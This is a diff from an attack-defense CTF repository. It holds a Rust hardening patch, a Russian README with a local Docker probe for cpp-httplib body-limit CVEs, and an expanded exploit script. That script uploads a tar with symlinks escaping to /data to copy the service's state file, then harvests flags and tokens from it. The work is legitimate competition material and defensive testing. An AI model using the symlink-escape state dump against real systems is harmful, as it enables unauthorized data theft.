Ограничения: исходный проект не содержит автоматических тестов или checker; официальный Skipper/checker и сохранность реальных данных на vulnbox не проверялись. Патч не развёртывался; ветка предназначена для проверки и слияния через Gitea.
|
||||||
@@ -219,6 +219,27 @@ impl Server {
|
|||||||
fs::create_dir_all(root.join("work"))?;
|
fs::create_dir_all(root.join("work"))?;
|
||||||
|
|
||||||
let mut state = load_state(&root)?;
|
let mut state = load_state(&root)?;
|
||||||
|
let ships = &state.ships;
|
||||||
|
state.sources.retain(|source, owner| {
|
||||||
|
ships.get(&canonical(source)) == Some(owner)
|
||||||
|
});
|
||||||
|
let profiles = &state.profiles;
|
||||||
|
for job in state.jobs.values_mut() {
|
||||||
|
let valid = profiles.get(&job.profile).is_some_and(|profile| {
|
||||||
|
profile.owner == job.owner && ships.get(&profile.ship) == Some(&job.owner)
|
||||||
|
});
|
||||||
|
if !valid {
|
||||||
|
job.result = None;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
let now = unix_time();
|
||||||
|
state.grants.retain(|_, grant| {
|
||||||
|
grant.expires >= now
|
||||||
|
&& grant
|
||||||
|
.rights
|
||||||
|
.iter()
|
||||||
|
.all(|right| matches!(right.as_str(), "geometry.read" | "delegate"))
|
||||||
|
});
|
||||||
let old_cache = std::mem::take(&mut state.geometry_cache);
|
let old_cache = std::mem::take(&mut state.geometry_cache);
|
||||||
for flight_id in old_cache.values() {
|
for flight_id in old_cache.values() {
|
||||||
if let Some(flight) = state.flights.get(flight_id) {
|
if let Some(flight) = state.flights.get(flight_id) {
|
||||||
@@ -325,6 +346,7 @@ impl Server {
|
|||||||
check_owner(s.sources.get(source).ok_or("unknown source")?, &user)?;
|
check_owner(s.sources.get(source).ok_or("unknown source")?, &user)?;
|
||||||
|
|
||||||
let ship = canonical(source);
|
let ship = canonical(source);
|
||||||
|
check_owner(s.ships.get(&ship).ok_or("unknown ship")?, &user)?;
|
||||||
Ok(json!({"messages":s.messages.get(&ship).cloned().unwrap_or_default()}))
|
Ok(json!({"messages":s.messages.get(&ship).cloned().unwrap_or_default()}))
|
||||||
}
|
}
|
||||||
"create_profile" => {
|
"create_profile" => {
|
||||||
@@ -819,7 +841,8 @@ impl Server {
|
|||||||
.map_err(|e| format!("resolve {host}:{port}: {e}"))?
|
.map_err(|e| format!("resolve {host}:{port}: {e}"))?
|
||||||
.next()
|
.next()
|
||||||
.ok_or("no address")?;
|
.ok_or("no address")?;
|
||||||
if addr.ip().is_loopback() {
|
let ip = addr.ip().to_canonical();
|
||||||
|
if ip.is_loopback() || ip.is_unspecified() {
|
||||||
return Err("internal source forbidden".into());
|
return Err("internal source forbidden".into());
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,63 @@
|
|||||||
|
# Lighthouse / cpp-httplib: локальная проверка четырёх CVE
|
||||||
|
|
||||||
|
Это отдельный PoC для одноразового локального контейнера Lighthouse. Он не
|
||||||
|
принимает адрес цели и не является сплоитом Neo. Проверка отказа в обслуживании
|
||||||
|
на игровом сервисе может нарушить SLA. Пункт 16 регламента (стр. 15 PDF
|
||||||
|
`Положение GO CTF TATARSTAN 2026.pdf`) запрещает большой объём трафика,
|
||||||
|
угрожающий стабильности систем организаторов или других команд.
|
||||||
|
|
||||||
|
## Источник и граница вывода
|
||||||
|
|
||||||
|
В `lighthouse/server/main.cpp` установлен `set_payload_max_length(32768)`.
|
||||||
|
`lighthouse/Dockerfile` ставит Debian bookworm `libcpp-httplib-dev`; проверенный
|
||||||
|
baseline image содержит `0.11.4+ds-1+deb12u1`. Для этой версии [Debian Security
|
||||||
|
Tracker](https://security-tracker.debian.org/tracker/CVE-2025-53629) отмечает
|
||||||
|
уязвимость. Уязвимый исходник upstream v0.11.4 в
|
||||||
|
[`read_content`](https://github.com/yhirose/cpp-httplib/blob/v0.11.4/httplib.h)
|
||||||
|
сравнивает `payload_max_length` только с `Content-Length`, пропуская ветку
|
||||||
|
`Transfer-Encoding: chunked`.
|
||||||
|
|
||||||
|
| CVE | Проверка здесь | Вывод |
|
||||||
|
| --- | --- | --- |
|
||||||
|
| [CVE-2025-46728](https://github.com/yhirose/cpp-httplib/security/advisories/GHSA-px83-72rx-v57c) | Один полный chunked-запрос на 32769 байт и один контрольный `Content-Length` на столько же | Локально подтверждён обход настроенного лимита тела. Это не демонстрация исчерпания памяти. Исходный upstream PoC этой CVE имел неверно экранированные CRLF. |
|
||||||
|
| [CVE-2025-53628](https://security-tracker.debian.org/tracker/CVE-2025-53628) | Только исходник `stream_line_reader::getline()` v0.11.4 | В цикле чтения строки нет предварительного лимита. `CPPHTTPLIB_HEADER_MAX_LENGTH` проверяется уже после чтения всей строки. Динамического измерения расхода памяти нет. |
|
||||||
|
| [CVE-2025-53629](https://github.com/yhirose/cpp-httplib/security/advisories/GHSA-qjmq-h3cc-qv6w) | Тот же корректный chunked-запрос, что и для 46728 | Локально подтверждён тот же обход лимита. Это уточнённый случай после того, как исправление 0.20.1 устранило лишь чтение длинной строки. Независимого второго механизма здесь нет. |
|
||||||
|
| [CVE-2026-45352](https://github.com/yhirose/cpp-httplib/security/advisories/GHSA-h6wq-j5mv-f3q8) | Только исходник `read_content_chunked()` v0.11.4 | `strtoul()` принимает ведущий минус, а проверка отвергает только `ULONG_MAX`. Отрицательный chunk size по сети не отправляется: эффект OOM/краха не тестировался. |
|
||||||
|
|
||||||
|
## Воспроизведение
|
||||||
|
|
||||||
|
Нужен локальный Docker daemon через Unix socket. Скрипт откажется работать с
|
||||||
|
удалённым Docker context или `DOCKER_HOST` не вида `unix://`. Укажите заранее
|
||||||
|
собранный образ уязвимой версии из коммита `4f70df5` или прежнего
|
||||||
|
checker-compatible коммита `143182a`, а также образ патча. Текущий `main` уже
|
||||||
|
может содержать исправление, поэтому его нельзя собирать как baseline:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
python3 sploits/lighthouse/cve_httplib_local/probe.py \
|
||||||
|
--vulnerable-image lighthouse-cve-baseline:local \
|
||||||
|
--patched-image lighthouse-cve-patched:local
|
||||||
|
```
|
||||||
|
|
||||||
|
`--patched-image` можно опустить, если нужен только исходный контроль;
|
||||||
|
к исправленному образу применяются те же два запроса. Для исходного
|
||||||
|
образа ожидаются `Content-Length=413` и `chunked=201`; для исправленного —
|
||||||
|
`413` и `413`. Ответ `201` содержит локальный `read_key`, поэтому скрипт
|
||||||
|
выводит только коды HTTP и ID образа.
|
||||||
|
|
||||||
|
Скрипт создаёт один контейнер на образ с 128 MiB RAM, 1 CPU, 64 процессами,
|
||||||
|
`read-only` rootfs и временными каталогами по 8 MiB. Порт публикуется только
|
||||||
|
на случайном `127.0.0.1` порту хоста. На образ отправляются два законченных
|
||||||
|
запроса размером менее 34 KiB каждый; на ожидание ответа выделено 2 секунды.
|
||||||
|
Контейнер удаляется после проверки. Скрипт не отправляет бесконечные чанки,
|
||||||
|
длинные строки или отрицательные размеры чанка.
|
||||||
|
|
||||||
|
Пример наблюдения 25.10.2026 на Mac arm64 (локальные disposable images):
|
||||||
|
|
||||||
|
```text
|
||||||
|
baseline: Content-Length=413 chunked=201
|
||||||
|
patched (image tag 0.43.4-arm-test): Content-Length=413 chunked=413
|
||||||
|
```
|
||||||
|
|
||||||
|
Это доказывает прохождение сверхлимитного тела в старом контейнере и отказ в
|
||||||
|
локальном кандидате, но не отсутствие других DoS, не качество checker и не
|
||||||
|
состояние игровой vulnbox.
|
||||||
@@ -0,0 +1,175 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""Bounded cpp-httplib CVE probe for a disposable, local Lighthouse container.
|
||||||
|
|
||||||
|
There is deliberately no remote target option. The test sends two HTTP requests
|
||||||
|
per image: one Content-Length control and one correctly framed chunked request.
|
||||||
|
The other two CVEs are source-only findings; this program never sends a long
|
||||||
|
line or a negative chunk size.
|
||||||
|
"""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import argparse
|
||||||
|
import os
|
||||||
|
import re
|
||||||
|
import signal
|
||||||
|
import socket
|
||||||
|
import subprocess
|
||||||
|
import sys
|
||||||
|
import time
|
||||||
|
import uuid
|
||||||
|
from contextlib import contextmanager
|
||||||
|
|
||||||
|
BODY_LIMIT = 32_768 # lighthouse/server/main.cpp
|
||||||
|
BASE_BODY = b'{"label":"local-cve-probe"}'
|
||||||
|
BODY = BASE_BODY + b" " * (BODY_LIMIT + 1 - len(BASE_BODY))
|
||||||
|
assert len(BODY) == BODY_LIMIT + 1
|
||||||
|
MAX_WIRE_BYTES = 34_000
|
||||||
|
MAX_CONTAINER_MEMORY = "128m"
|
||||||
|
COMMAND_TIMEOUT = 15
|
||||||
|
SOCKET_TIMEOUT = 2
|
||||||
|
|
||||||
|
|
||||||
|
def docker(*args: str, timeout: int = COMMAND_TIMEOUT) -> str:
|
||||||
|
result = subprocess.run(
|
||||||
|
["docker", *args], capture_output=True, text=True, timeout=timeout,
|
||||||
|
check=False,
|
||||||
|
)
|
||||||
|
if result.returncode:
|
||||||
|
raise RuntimeError(f"docker {args[0]} failed: {result.stderr.strip()[:240]}")
|
||||||
|
return result.stdout.strip()
|
||||||
|
|
||||||
|
|
||||||
|
def require_local_docker() -> None:
|
||||||
|
override = os.environ.get("DOCKER_HOST", "")
|
||||||
|
endpoint = docker("context", "inspect", "--format", "{{.Endpoints.docker.Host}}")
|
||||||
|
if not endpoint.startswith("unix://") or (override and not override.startswith("unix://")):
|
||||||
|
raise RuntimeError("a local Unix-socket Docker daemon is required")
|
||||||
|
|
||||||
|
|
||||||
|
def response_status(port: int, request: bytes) -> int:
|
||||||
|
if len(request) > MAX_WIRE_BYTES:
|
||||||
|
raise ValueError("request exceeds local wire-byte cap")
|
||||||
|
with socket.create_connection(("127.0.0.1", port), timeout=SOCKET_TIMEOUT) as sock:
|
||||||
|
sock.settimeout(SOCKET_TIMEOUT)
|
||||||
|
sock.sendall(request)
|
||||||
|
first = bytearray()
|
||||||
|
while b"\r\n" not in first and len(first) < 256:
|
||||||
|
data = sock.recv(256 - len(first))
|
||||||
|
if not data:
|
||||||
|
break
|
||||||
|
first.extend(data)
|
||||||
|
match = re.match(rb"HTTP/1\.[01] ([0-9]{3})\b", first)
|
||||||
|
if not match:
|
||||||
|
raise RuntimeError(f"no HTTP status, prefix={bytes(first[:48])!r}")
|
||||||
|
return int(match.group(1))
|
||||||
|
|
||||||
|
|
||||||
|
def request_with_length() -> bytes:
|
||||||
|
return (
|
||||||
|
b"POST /api/queues HTTP/1.1\r\n"
|
||||||
|
b"Host: 127.0.0.1\r\n"
|
||||||
|
b"Content-Type: application/json\r\n"
|
||||||
|
+ f"Content-Length: {len(BODY)}\r\n".encode()
|
||||||
|
+ b"Connection: close\r\n\r\n"
|
||||||
|
+ BODY
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def request_chunked() -> bytes:
|
||||||
|
# A single complete chunk avoids any repeated-send/flood behavior.
|
||||||
|
return (
|
||||||
|
b"POST /api/queues HTTP/1.1\r\n"
|
||||||
|
b"Host: 127.0.0.1\r\n"
|
||||||
|
b"Content-Type: application/json\r\n"
|
||||||
|
b"Transfer-Encoding: chunked\r\n"
|
||||||
|
b"Connection: close\r\n\r\n"
|
||||||
|
+ f"{len(BODY):x}\r\n".encode()
|
||||||
|
+ BODY
|
||||||
|
+ b"\r\n0\r\n\r\n"
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def wait_ready(port: int) -> None:
|
||||||
|
deadline = time.monotonic() + 6
|
||||||
|
probe = (
|
||||||
|
b"GET /api/health HTTP/1.1\r\nHost: 127.0.0.1\r\n"
|
||||||
|
b"Connection: close\r\n\r\n"
|
||||||
|
)
|
||||||
|
while time.monotonic() < deadline:
|
||||||
|
try:
|
||||||
|
if response_status(port, probe) == 200:
|
||||||
|
return
|
||||||
|
except (OSError, RuntimeError):
|
||||||
|
pass
|
||||||
|
time.sleep(0.15)
|
||||||
|
raise RuntimeError("disposable container did not become healthy within 6 s")
|
||||||
|
|
||||||
|
|
||||||
|
@contextmanager
|
||||||
|
def disposable_container(image: str):
|
||||||
|
image_id = docker("image", "inspect", image, "--format", "{{.Id}}")
|
||||||
|
name = "lighthouse-cve-local-" + uuid.uuid4().hex[:12]
|
||||||
|
container = ""
|
||||||
|
try:
|
||||||
|
container = docker(
|
||||||
|
"run", "--detach", "--rm", "--name", name,
|
||||||
|
"--publish", "127.0.0.1::8080",
|
||||||
|
"--memory", MAX_CONTAINER_MEMORY,
|
||||||
|
"--memory-swap", MAX_CONTAINER_MEMORY,
|
||||||
|
"--cpus", "1", "--pids-limit", "64",
|
||||||
|
"--cap-drop", "ALL", "--security-opt", "no-new-privileges",
|
||||||
|
"--read-only",
|
||||||
|
"--tmpfs", "/data:rw,size=8m,mode=0700",
|
||||||
|
"--tmpfs", "/var/log/lighthouse:rw,size=8m,mode=0700",
|
||||||
|
"--tmpfs", "/srv/lighthouse/work:rw,size=8m,mode=0711",
|
||||||
|
image,
|
||||||
|
)
|
||||||
|
port_result = docker("port", container, "8080/tcp")
|
||||||
|
port_match = re.fullmatch(r"127\.0\.0\.1:([0-9]+)", port_result)
|
||||||
|
if not port_match:
|
||||||
|
raise RuntimeError(f"unexpected Docker port binding: {port_result!r}")
|
||||||
|
port = int(port_match.group(1))
|
||||||
|
wait_ready(port)
|
||||||
|
yield image_id, port
|
||||||
|
finally:
|
||||||
|
if container:
|
||||||
|
subprocess.run(["docker", "rm", "--force", container],
|
||||||
|
capture_output=True, timeout=COMMAND_TIMEOUT, check=False)
|
||||||
|
|
||||||
|
|
||||||
|
def run_one(label: str, image: str) -> None:
|
||||||
|
with disposable_container(image) as (image_id, port):
|
||||||
|
control = response_status(port, request_with_length())
|
||||||
|
chunked = response_status(port, request_chunked())
|
||||||
|
print(f"{label}: image={image_id} Content-Length={control} chunked={chunked}")
|
||||||
|
if control == 413 and chunked == 201:
|
||||||
|
print(f"{label}: CVE-2025-46728 / CVE-2025-53629 payload-limit bypass confirmed locally")
|
||||||
|
elif control == 413 and chunked == 413:
|
||||||
|
print(f"{label}: both over-limit encodings rejected")
|
||||||
|
else:
|
||||||
|
print(f"{label}: inconclusive; inspect the disposable image and route behavior")
|
||||||
|
|
||||||
|
|
||||||
|
def main() -> int:
|
||||||
|
parser = argparse.ArgumentParser(description=__doc__)
|
||||||
|
parser.add_argument("--vulnerable-image", required=True,
|
||||||
|
help="prebuilt disposable Lighthouse image using cpp-httplib 0.11.4")
|
||||||
|
parser.add_argument("--patched-image", help="optional prebuilt fixed-image control")
|
||||||
|
args = parser.parse_args()
|
||||||
|
try:
|
||||||
|
require_local_docker()
|
||||||
|
run_one("baseline", args.vulnerable_image)
|
||||||
|
if args.patched_image:
|
||||||
|
run_one("patched", args.patched_image)
|
||||||
|
except (OSError, RuntimeError, subprocess.TimeoutExpired) as error:
|
||||||
|
print(f"probe failed: {error}", file=sys.stderr)
|
||||||
|
return 1
|
||||||
|
print("CVE-2025-53628: source-only (no long-line allocation test)")
|
||||||
|
print("CVE-2026-45352: source-only (no negative-size/OOM test)")
|
||||||
|
return 0
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
signal.signal(signal.SIGTERM, lambda *_: sys.exit(143))
|
||||||
|
raise SystemExit(main())
|
||||||
+401
-25
@@ -9,6 +9,10 @@ import os
|
|||||||
import re
|
import re
|
||||||
import sys
|
import sys
|
||||||
import tarfile
|
import tarfile
|
||||||
|
import tempfile
|
||||||
|
import time
|
||||||
|
from concurrent.futures import FIRST_COMPLETED, ThreadPoolExecutor, wait
|
||||||
|
from pathlib import Path
|
||||||
from urllib.error import HTTPError, URLError
|
from urllib.error import HTTPError, URLError
|
||||||
from urllib.parse import quote, unquote, urlsplit, urlunsplit
|
from urllib.parse import quote, unquote, urlsplit, urlunsplit
|
||||||
from urllib.request import Request, urlopen
|
from urllib.request import Request, urlopen
|
||||||
@@ -16,10 +20,25 @@ from urllib.request import Request, urlopen
|
|||||||
TARGET_SCHEME = "http"
|
TARGET_SCHEME = "http"
|
||||||
SERVICE_PORT = 8086
|
SERVICE_PORT = 8086
|
||||||
REQUEST_TIMEOUT = 2.0
|
REQUEST_TIMEOUT = 2.0
|
||||||
MAX_RESPONSE = 256 * 1024
|
MAX_RESPONSE = 8 * 1024 * 1024
|
||||||
|
MAX_STATE_RESPONSE = 64 * 1024 * 1024
|
||||||
MAX_OBJECTS = 6
|
MAX_OBJECTS = 6
|
||||||
|
MAX_STATE_FLIGHTS = 512
|
||||||
|
TOTAL_RUNTIME = 7.0
|
||||||
IMPORTER_KEY = "orbit-importer-service-key"
|
IMPORTER_KEY = "orbit-importer-service-key"
|
||||||
ID_PATTERN = re.compile(r"\b(?:ship|flight|summary|grant)-[0-9a-fA-F]{32}\b")
|
ID_PATTERN = re.compile(
|
||||||
|
r"\b(?:ship|flight|summary|grant)-[0-9a-f]{32}\b", re.IGNORECASE
|
||||||
|
)
|
||||||
|
CONTEXT_PATTERNS = {
|
||||||
|
"token": re.compile(r"token-[0-9a-f]{32}\Z"),
|
||||||
|
"ship_id": re.compile(r"ship-[0-9a-f]{32}\Z"),
|
||||||
|
"profile_id": re.compile(r"profile-[0-9a-f]{32}\Z"),
|
||||||
|
"flight_id": re.compile(r"flight-[0-9a-f]{32}\Z"),
|
||||||
|
"package_id": re.compile(r"package-[0-9a-f]{32}\Z"),
|
||||||
|
}
|
||||||
|
TOKEN_VALUE_PATTERN = re.compile(r"token-[0-9a-f]{32}", re.IGNORECASE)
|
||||||
|
FLAG_PATTERN = re.compile(r"(?<![A-Za-z0-9])[A-Z0-9]{31}=(?![A-Za-z0-9])")
|
||||||
|
STATE_DUMP_MARKER = "orbital-state-dump"
|
||||||
|
|
||||||
|
|
||||||
class ExploitError(Exception):
|
class ExploitError(Exception):
|
||||||
@@ -47,29 +66,36 @@ def parse_target(target: str) -> tuple[str, str]:
|
|||||||
raise ValueError("target address must not include query or fragment")
|
raise ValueError("target address must not include query or fragment")
|
||||||
port = parsed.port
|
port = parsed.port
|
||||||
if port is None:
|
if port is None:
|
||||||
port = 443 if explicit_scheme and parsed.scheme == "https" else 80 if explicit_scheme else SERVICE_PORT
|
port = 443 if parsed.scheme == "https" else SERVICE_PORT
|
||||||
if not 1 <= port <= 65535:
|
if not 1 <= port <= 65535:
|
||||||
raise ValueError("invalid target port")
|
raise ValueError("invalid target port")
|
||||||
host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname
|
host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname
|
||||||
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", "")), hint
|
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", "")), hint
|
||||||
|
|
||||||
|
|
||||||
def request(base: str, path: str, method: str = "GET", body: bytes | None = None, headers=None) -> tuple[int, bytes]:
|
def request(
|
||||||
|
base: str,
|
||||||
|
path: str,
|
||||||
|
method: str = "GET",
|
||||||
|
body: bytes | None = None,
|
||||||
|
headers=None,
|
||||||
|
max_response: int = MAX_RESPONSE,
|
||||||
|
) -> tuple[int, bytes]:
|
||||||
request_headers = {"User-Agent": "orbital-navigation/1.0", "Accept": "application/json"}
|
request_headers = {"User-Agent": "orbital-navigation/1.0", "Accept": "application/json"}
|
||||||
if headers:
|
if headers:
|
||||||
request_headers.update(headers)
|
request_headers.update(headers)
|
||||||
req = Request(base + path, data=body, headers=request_headers, method=method)
|
req = Request(base + path, data=body, headers=request_headers, method=method)
|
||||||
try:
|
try:
|
||||||
with urlopen(req, timeout=REQUEST_TIMEOUT) as response:
|
with urlopen(req, timeout=REQUEST_TIMEOUT) as response:
|
||||||
data = response.read(MAX_RESPONSE + 1)
|
data = response.read(max_response + 1)
|
||||||
if len(data) > MAX_RESPONSE:
|
if len(data) > max_response:
|
||||||
raise ValueError("response too large")
|
raise ValueError("response too large")
|
||||||
return response.status, data
|
return response.status, data
|
||||||
except HTTPError as exc:
|
except HTTPError as exc:
|
||||||
return exc.code, exc.read(MAX_RESPONSE)
|
return exc.code, exc.read(max_response)
|
||||||
|
|
||||||
|
|
||||||
def rpc(base: str, action: str, **fields):
|
def rpc(base: str, action: str, _response_limit: int = MAX_RESPONSE, **fields):
|
||||||
payload = json.dumps({"action": action, **fields}, separators=(",", ":")).encode()
|
payload = json.dumps({"action": action, **fields}, separators=(",", ":")).encode()
|
||||||
status, raw = request(
|
status, raw = request(
|
||||||
base,
|
base,
|
||||||
@@ -77,6 +103,7 @@ def rpc(base: str, action: str, **fields):
|
|||||||
method="POST",
|
method="POST",
|
||||||
body=payload,
|
body=payload,
|
||||||
headers={"Content-Type": "application/json"},
|
headers={"Content-Type": "application/json"},
|
||||||
|
max_response=_response_limit,
|
||||||
)
|
)
|
||||||
try:
|
try:
|
||||||
document = json.loads(raw)
|
document = json.loads(raw)
|
||||||
@@ -150,6 +177,338 @@ def symlink_tar(name: str, target: str) -> bytes:
|
|||||||
return output.getvalue()
|
return output.getvalue()
|
||||||
|
|
||||||
|
|
||||||
|
def state_dump_tar(flight_id: str) -> bytes:
|
||||||
|
output = io.BytesIO()
|
||||||
|
with tarfile.open(fileobj=output, mode="w", format=tarfile.USTAR_FORMAT) as archive:
|
||||||
|
escape = tarfile.TarInfo("escape")
|
||||||
|
escape.type = tarfile.SYMTYPE
|
||||||
|
escape.linkname = "/data"
|
||||||
|
archive.addfile(escape)
|
||||||
|
state_link = tarfile.TarInfo("escape/state.json.tmp")
|
||||||
|
state_link.type = tarfile.SYMTYPE
|
||||||
|
state_link.linkname = f"/data/navigation/{flight_id}.txt"
|
||||||
|
archive.addfile(state_link)
|
||||||
|
report = b"ok"
|
||||||
|
entry = tarfile.TarInfo("report.txt")
|
||||||
|
entry.size = len(report)
|
||||||
|
archive.addfile(entry, io.BytesIO(report))
|
||||||
|
return output.getvalue()
|
||||||
|
|
||||||
|
|
||||||
|
def context_path(base: str) -> Path:
|
||||||
|
configured = os.environ.get("ORBITAL_STATE_DIR")
|
||||||
|
root = (
|
||||||
|
Path(configured)
|
||||||
|
if configured
|
||||||
|
else Path(tempfile.gettempdir()) / "goctf-orbital-navigation-v2"
|
||||||
|
)
|
||||||
|
if os.name == "nt":
|
||||||
|
root.mkdir(parents=True, exist_ok=True)
|
||||||
|
else:
|
||||||
|
root.mkdir(mode=0o700, parents=True, exist_ok=True)
|
||||||
|
root.chmod(0o700)
|
||||||
|
name = hashlib.sha256(base.encode()).hexdigest() + ".json"
|
||||||
|
return root / name
|
||||||
|
|
||||||
|
|
||||||
|
def valid_context(document, base: str) -> bool:
|
||||||
|
return (
|
||||||
|
isinstance(document, dict)
|
||||||
|
and document.get("base") == base
|
||||||
|
and all(
|
||||||
|
isinstance(document.get(key), str) and pattern.fullmatch(document[key])
|
||||||
|
for key, pattern in CONTEXT_PATTERNS.items()
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def load_context(base: str):
|
||||||
|
try:
|
||||||
|
document = json.loads(context_path(base).read_text(encoding="utf-8"))
|
||||||
|
except (OSError, ValueError):
|
||||||
|
return None
|
||||||
|
return document if valid_context(document, base) else None
|
||||||
|
|
||||||
|
|
||||||
|
def save_context(base: str, context) -> None:
|
||||||
|
path = context_path(base)
|
||||||
|
document = {"base": base, **context}
|
||||||
|
temporary = None
|
||||||
|
try:
|
||||||
|
with tempfile.NamedTemporaryFile(
|
||||||
|
mode="w",
|
||||||
|
encoding="utf-8",
|
||||||
|
dir=path.parent,
|
||||||
|
prefix=path.name + ".",
|
||||||
|
delete=False,
|
||||||
|
) as handle:
|
||||||
|
temporary = Path(handle.name)
|
||||||
|
json.dump(document, handle, separators=(",", ":"))
|
||||||
|
if os.name != "nt":
|
||||||
|
temporary.chmod(0o600)
|
||||||
|
os.replace(temporary, path)
|
||||||
|
finally:
|
||||||
|
if temporary is not None:
|
||||||
|
try:
|
||||||
|
temporary.unlink()
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
def discard_context(base: str) -> None:
|
||||||
|
try:
|
||||||
|
context_path(base).unlink()
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
def create_host_context(base: str):
|
||||||
|
token = register(base)
|
||||||
|
ship_id = rpc(base, "create_ship", token=token)["ship_id"]
|
||||||
|
profile_id = rpc(base, "create_profile", token=token, ship_id=ship_id)["profile_id"]
|
||||||
|
flight_id = rpc(
|
||||||
|
base,
|
||||||
|
"create_flight",
|
||||||
|
token=token,
|
||||||
|
geometry=STATE_DUMP_MARKER,
|
||||||
|
map_version=STATE_DUMP_MARKER,
|
||||||
|
options=STATE_DUMP_MARKER,
|
||||||
|
manifest=STATE_DUMP_MARKER,
|
||||||
|
navigation=STATE_DUMP_MARKER,
|
||||||
|
)["flight_id"]
|
||||||
|
package_id = rpc(base, "create_package", token=token)["package_id"]
|
||||||
|
context = {
|
||||||
|
"token": token,
|
||||||
|
"ship_id": ship_id,
|
||||||
|
"profile_id": profile_id,
|
||||||
|
"flight_id": flight_id,
|
||||||
|
"package_id": package_id,
|
||||||
|
}
|
||||||
|
try:
|
||||||
|
save_context(base, context)
|
||||||
|
except OSError as exc:
|
||||||
|
print(f"state cache unavailable: {exc}", file=sys.stderr)
|
||||||
|
return context
|
||||||
|
|
||||||
|
|
||||||
|
def trigger_persist(base: str, context) -> None:
|
||||||
|
rpc(
|
||||||
|
base,
|
||||||
|
"edit_profile",
|
||||||
|
token=context["token"],
|
||||||
|
profile_id=context["profile_id"],
|
||||||
|
ship_id=context["ship_id"],
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def dump_state(base: str, context) -> str:
|
||||||
|
upload_package(
|
||||||
|
base,
|
||||||
|
context["package_id"],
|
||||||
|
context["token"],
|
||||||
|
regular_tar("report.txt", b"approved"),
|
||||||
|
)
|
||||||
|
rpc(base, "approve_package", token=context["token"], package_id=context["package_id"])
|
||||||
|
upload_package(
|
||||||
|
base,
|
||||||
|
context["package_id"],
|
||||||
|
context["token"],
|
||||||
|
state_dump_tar(context["flight_id"]),
|
||||||
|
)
|
||||||
|
restore_needed = True
|
||||||
|
try:
|
||||||
|
try:
|
||||||
|
rpc(
|
||||||
|
base,
|
||||||
|
"generate_report",
|
||||||
|
token=context["token"],
|
||||||
|
package_id=context["package_id"],
|
||||||
|
attachment="report.txt",
|
||||||
|
)
|
||||||
|
except ExploitError as exc:
|
||||||
|
# These checks reject the package before extracting the symlink.
|
||||||
|
if "package not approved" in str(exc) or "unsafe package" in str(exc):
|
||||||
|
restore_needed = False
|
||||||
|
raise
|
||||||
|
|
||||||
|
# The first persist copies state into our navigation file. The second
|
||||||
|
# immediately replaces state.json with a regular file. Read the copy
|
||||||
|
# only after both writes, keeping the symlink window as short as possible.
|
||||||
|
trigger_persist(base, context)
|
||||||
|
trigger_persist(base, context)
|
||||||
|
restore_needed = False
|
||||||
|
result = rpc(
|
||||||
|
base,
|
||||||
|
"read_navigation",
|
||||||
|
_response_limit=MAX_STATE_RESPONSE,
|
||||||
|
token=context["token"],
|
||||||
|
flight_id=context["flight_id"],
|
||||||
|
)
|
||||||
|
navigation = result.get("navigation") if isinstance(result, dict) else None
|
||||||
|
if not isinstance(navigation, str):
|
||||||
|
raise ExploitError("state dump: missing navigation")
|
||||||
|
return navigation
|
||||||
|
finally:
|
||||||
|
if restore_needed:
|
||||||
|
# An ambiguous timeout may occur before the first write is handled.
|
||||||
|
# In that case one successful write copies state through the link;
|
||||||
|
# the next successful write is needed to replace the link itself.
|
||||||
|
confirmed = 0
|
||||||
|
for attempt in range(5):
|
||||||
|
try:
|
||||||
|
trigger_persist(base, context)
|
||||||
|
confirmed += 1
|
||||||
|
if confirmed == 2:
|
||||||
|
break
|
||||||
|
except (ExploitError, HTTPError, URLError, TimeoutError, ValueError, OSError) as exc:
|
||||||
|
print(f"state persistence cleanup attempt {attempt + 1}: {exc}", file=sys.stderr)
|
||||||
|
if confirmed < 2:
|
||||||
|
raise ExploitError("state persistence cleanup not confirmed")
|
||||||
|
|
||||||
|
|
||||||
|
def state_payloads(state) -> list[str]:
|
||||||
|
values: list[str] = []
|
||||||
|
messages = state.get("messages", {})
|
||||||
|
if isinstance(messages, dict):
|
||||||
|
for items in messages.values():
|
||||||
|
if isinstance(items, list):
|
||||||
|
values.extend(item for item in items if isinstance(item, str))
|
||||||
|
jobs = state.get("jobs", {})
|
||||||
|
if isinstance(jobs, dict):
|
||||||
|
for job in jobs.values():
|
||||||
|
result = job.get("result") if isinstance(job, dict) else None
|
||||||
|
if isinstance(result, list):
|
||||||
|
values.extend(item for item in result if isinstance(item, str))
|
||||||
|
flights = state.get("flights", {})
|
||||||
|
if isinstance(flights, dict):
|
||||||
|
for flight in flights.values():
|
||||||
|
if not isinstance(flight, dict):
|
||||||
|
continue
|
||||||
|
for key in ("geometry", "map_version", "options", "manifest"):
|
||||||
|
value = flight.get(key)
|
||||||
|
if isinstance(value, str):
|
||||||
|
values.append(value)
|
||||||
|
summaries = state.get("summaries", {})
|
||||||
|
if isinstance(summaries, dict):
|
||||||
|
for summary in summaries.values():
|
||||||
|
content = summary.get("content") if isinstance(summary, dict) else None
|
||||||
|
if isinstance(content, str):
|
||||||
|
values.append(content)
|
||||||
|
imports = state.get("imports", {})
|
||||||
|
if isinstance(imports, dict):
|
||||||
|
for item in imports.values():
|
||||||
|
if isinstance(item, list) and len(item) == 2 and isinstance(item[1], str):
|
||||||
|
values.append(item[1])
|
||||||
|
return values
|
||||||
|
|
||||||
|
|
||||||
|
def read_navigation_candidate(base: str, token: str, flight_id: str) -> str | None:
|
||||||
|
result = rpc(base, "read_navigation", token=token, flight_id=flight_id)
|
||||||
|
